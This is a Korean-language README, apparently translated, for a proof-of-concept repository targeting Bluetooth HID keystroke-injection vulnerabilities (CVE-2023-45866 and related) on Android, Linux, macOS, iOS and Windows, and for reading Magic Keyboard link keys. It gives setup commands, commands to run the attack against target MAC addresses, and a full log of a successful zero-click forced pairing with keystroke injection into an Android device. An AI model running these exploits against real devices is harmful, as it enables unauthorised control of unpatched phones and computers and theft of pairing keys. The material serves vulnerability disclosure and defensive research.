
CVE-2023-45866, CVE-2024-21306, CVE-2024-0230에 대한 블루투스 키스트로크 주입 익스플로잇 PoC로, 에뮬레이션된 HID 키보드를 통해 Android, Linux, macOS, iOS를 대상으로 합니다.
이 저장소에는 CVE-2023-45866, CVE-2024-21306, CVE-2024-0230에 대한 개념 증명 스크립트가 포함되어 있습니다. 자세한 내용은 블로그 게시물에서 확인할 수 있습니다.
| 개념 증명 | 설명 |
|---|---|
| Android 키 입력 주입 | 취약한 Android 기기와 가상 Bluetooth 키보드를 강제 페어링하고 10초 동안 tab 키 입력을 주입합니다. |
| Linux 키 입력 주입 | Linux 호스트와 가상 Bluetooth 키보드를 강제 페어링하고 10초 동안 tab 키 입력을 주입합니다. |
| macOS 키 입력 주입 | macOS 호스트와 가상 Bluetooth 키보드를 강제 페어링하고 키 입력을 주입하여 웹 브라우저를 열고 Google 검색을 수행합니다. |
| iOS 키 입력 주입 | iOS 호스트와 가상 Bluetooth 키보드를 강제 페어링하고 키 입력을 주입하여 웹 브라우저를 열고 URL로 이동합니다. |
| Windows 키 입력 주입 | Windows 호스트와 가상 Bluetooth 키보드를 강제 페어링하고 tab 키 입력을 주입합니다. |
| Lightning 포트를 통한 Magic Keyboard 링크 키 | Magic Keyboard의 Lightning 포트에서 Bluetooth 링크 키를 읽습니다. |
| Bluetooth를 통한 Magic Keyboard 링크 키 | Magic Keyboard의 인증되지 않은 Bluetooth HID 서비스에서 Bluetooth 링크 키를 읽습니다. |
| Mac의 USB 포트를 통한 Magic Keyboard 링크 키 | 페어링된 Mac에 USB로 키보드를 스푸핑하여 대상 Magic Keyboard의 Bluetooth 링크 키를 읽습니다. |
스크립트는 Broadcom 기반 Bluetooth 어댑터가 있는 Ubuntu 22.04 호스트에서 작동하는 것으로 알려져 있습니다.
주로 이 어댑터를 사용했습니다: https://www.amazon.com/Kinivo-USB-Bluetooth-4-0-Compatible/dp/B007Q45EF4``` Bus 001 Device 026: ID 0a5c:21e8 Broadcom Corp. BCM20702A0 Bluetooth 4.0
Ubuntu 22.04를 새로 설치한 상태에서 시작하여, 다음 명령어로 의존성을 설치할 수 있습니다.```
# update apt
sudo apt-get update
sudo apt-get -y upgrade
# install dependencies from apt
sudo apt install -y bluez-tools bluez-hcidump libbluetooth-dev \
git gcc python3-pip python3-setuptools \
python3-pydbus
# install pybluez from source
git clone https://github.com/pybluez/pybluez.git
cd pybluez
sudo python3 setup.py install
# build bdaddr from the bluez source
cd ~/
git clone --depth=1 https://github.com/bluez/bluez.git
gcc -o bdaddr ~/bluez/tools/bdaddr.c ~/bluez/src/oui.c -I ~/bluez -lbluetooth
sudo cp bdaddr /usr/local/bin/
Android 기기는 2023-12-05 보안 패치 수준 이전 버전에서 취약합니다.
패치되지 않은 Android 기기에서 Bluetooth가 활성화되어 있으면, 공격자는 에뮬레이션된 Bluetooth 키보드를 페어링하고 사용자 확인 없이 키스트로크를 주입할 수 있습니다. 이는 Bluetooth가 활성화되어 있을 때마다 작동하는 제로 클릭 공격입니다.
이 취약점은 Android ~4.2.2 이상에 영향을 줍니다.
인터페이스 hci1을 사용하여 Android 기기 5C:F3:70:AA:07:BD를 대상으로 PoC를 실행합니다.```
./keystroke-injection-android-linux.py -i hci1 -t 5C:F3:70:AA:07:BD
성공하면 PoC는 10초 동안 `tab` 키 입력 페이로드를 주입합니다.
#### 예제 출력```
> ./keystroke-injection-android-linux.py -i hci1 -t 5C:F3:70:AA:07:BD
[2024-01-07 11:03:01.329] executing 'sudo service bluetooth restart'
[2024-01-07 11:03:01.959] configuring Bluetooth adapter
[2024-01-07 11:03:01.963] calling RegisterProfile
[2024-01-07 11:03:01.966] running dbus loop
[2024-01-07 11:03:02.096] executing 'sudo hciconfig hci1 name Hi, My Name is Keyboard'
[2024-01-07 11:03:02.108] executing 'hciconfig hci1 name'
[2024-01-07 11:03:02.128] executing 'sudo hciconfig hci1 class 0x002540'
[2024-01-07 11:03:02.141] executing 'hciconfig hci1 class'
[2024-01-07 11:03:02.144] executing 'hcitool name 5C:F3:70:AA:07:BD'
[2024-01-07 11:03:02.877] connecting to SDP
[2024-01-07 11:03:02.877] connecting to 5C:F3:70:AA:07:BD on port 1
[2024-01-07 11:03:03.832] SUCCESS! connected on port 1
[2024-01-07 11:03:03.832] executing 'sudo btmgmt --index hci1 io-cap 1'
[2024-01-07 11:03:03.847] executing 'sudo btmgmt --index hci1 ssp 1'
[2024-01-07 11:03:03.858] connected to SDP (L2CAP 1) on target
[2024-01-07 11:03:03.865] 'NoInputNoOutput' pairing-agent is running
[2024-01-07 11:03:04.111] connecting to 5C:F3:70:AA:07:BD on port 19
[2024-01-07 11:03:04.864] ERROR connecting on port 19: [Errno 22] Invalid argument
[2024-01-07 11:03:04.864] connecting to 5C:F3:70:AA:07:BD on port 17
[2024-01-07 11:03:04.932] SUCCESS! connected on port 17
[2024-01-07 11:03:04.932] connecting to HID Interrupt
[2024-01-07 11:03:04.932] connecting to 5C:F3:70:AA:07:BD on port 19
[2024-01-07 11:03:05.008] SUCCESS! connected on port 19
[2024-01-07 11:03:05.008] connected to HID Interrupt (L2CAP 19) on target
[2024-01-07 11:03:05.008] connected to HID Control (L2CAP 17) on target
[2024-01-07 11:03:05.009] [RX-17] 9000
[2024-01-07 11:03:05.009] [TX-17] 00
[2024-01-07 11:03:05.065] [RX-19] a20101
[2024-01-07 11:03:05.259] [TX-19] a101000000000000000000
[2024-01-07 11:03:05.259] injecting Tab keypresses for 10 seconds
[2024-01-07 11:03:05.259] [TX-19] a10100002b000000000000
[2024-01-07 11:03:05.264] [TX-19] a101000000000000000000
[2024-01-07 11:03:05.318] [TX-19] a10100002b000000000000
[2024-01-07 11:03:05.323] [TX-19] a101000000000000000000
[2024-01-07 11:03:05.377] [TX-19] a10100002b000000000000
[2024-01-07 11:03:05.382] [TX-19] a101000000000000000000
[2024-01-07 11:03:05.436] [TX-19] a10100002b000000000000
...
[2024-01-07 11:03:15.261] [TX-19] a101000000000000000000
[2024-01-07 11:03:15.319] payload has been transmitted; disconnecting Bluetooth HID client
[2024-01-07 11:03:15.321] taking 'hci1' offline
BlueZ 5를 실행하는 Linux 호스트는 대략 2023년 12월에 패치가 배포되기 전까지 취약합니다. 구체적인 버전 번호는 Linux 배포판에 따라 다릅니다.
패치되지 않은 Linux 호스트가 Bluetooth를 통해 검색 가능하고 연결 가능한 상태일 때, 공격자는 사용자 확인 없이 에뮬레이트된 Bluetooth 키보드를 페어링하여 키 입력을 주입할 수 있습니다. 이는 호스트가 검색 가능하고 연결 가능한 상태일 때마다 작동하는 제로 클릭 공격입니다.
이 취약점은 BlueZ 5의 기본 구성을 사용하는 패치되지 않은 Linux 배포판에 영향을 미치는 것으로 이해됩니다.
Google은 ChromeOS가 이 취약점의 영향을 받지 않는다고 밝혔으며, ChromeOS가 이 연구의 일부로 테스트되지는 않았지만 ChromeOS의 BlueZ 구성이 공격을 방지하는 것으로 보입니다.
영향을 받는 배포판에는 Ubuntu, Debian, Gentoo, Arch, Fedora, Red Hat, Yocto 및 Amazon Linux가 포함됩니다. 여러 릴리스가 영향을 받을 수 있으며, 예를 들어 Ubuntu는 16.04, 18.04, 20.04, 22.04, 23.04 및 23.10을 패치했습니다.
인터페이스 hci1를 사용하여 Linux 호스트 58:28:39:E6:AE:1C를 대상으로 PoC를 실행합니다.```
./keystroke-injection-android-linux.py -i hci1 -t 58:28:39:E6:AE:1C
성공하면 PoC는 10초 동안 `tab` 키 입력 페이로드를 주입합니다.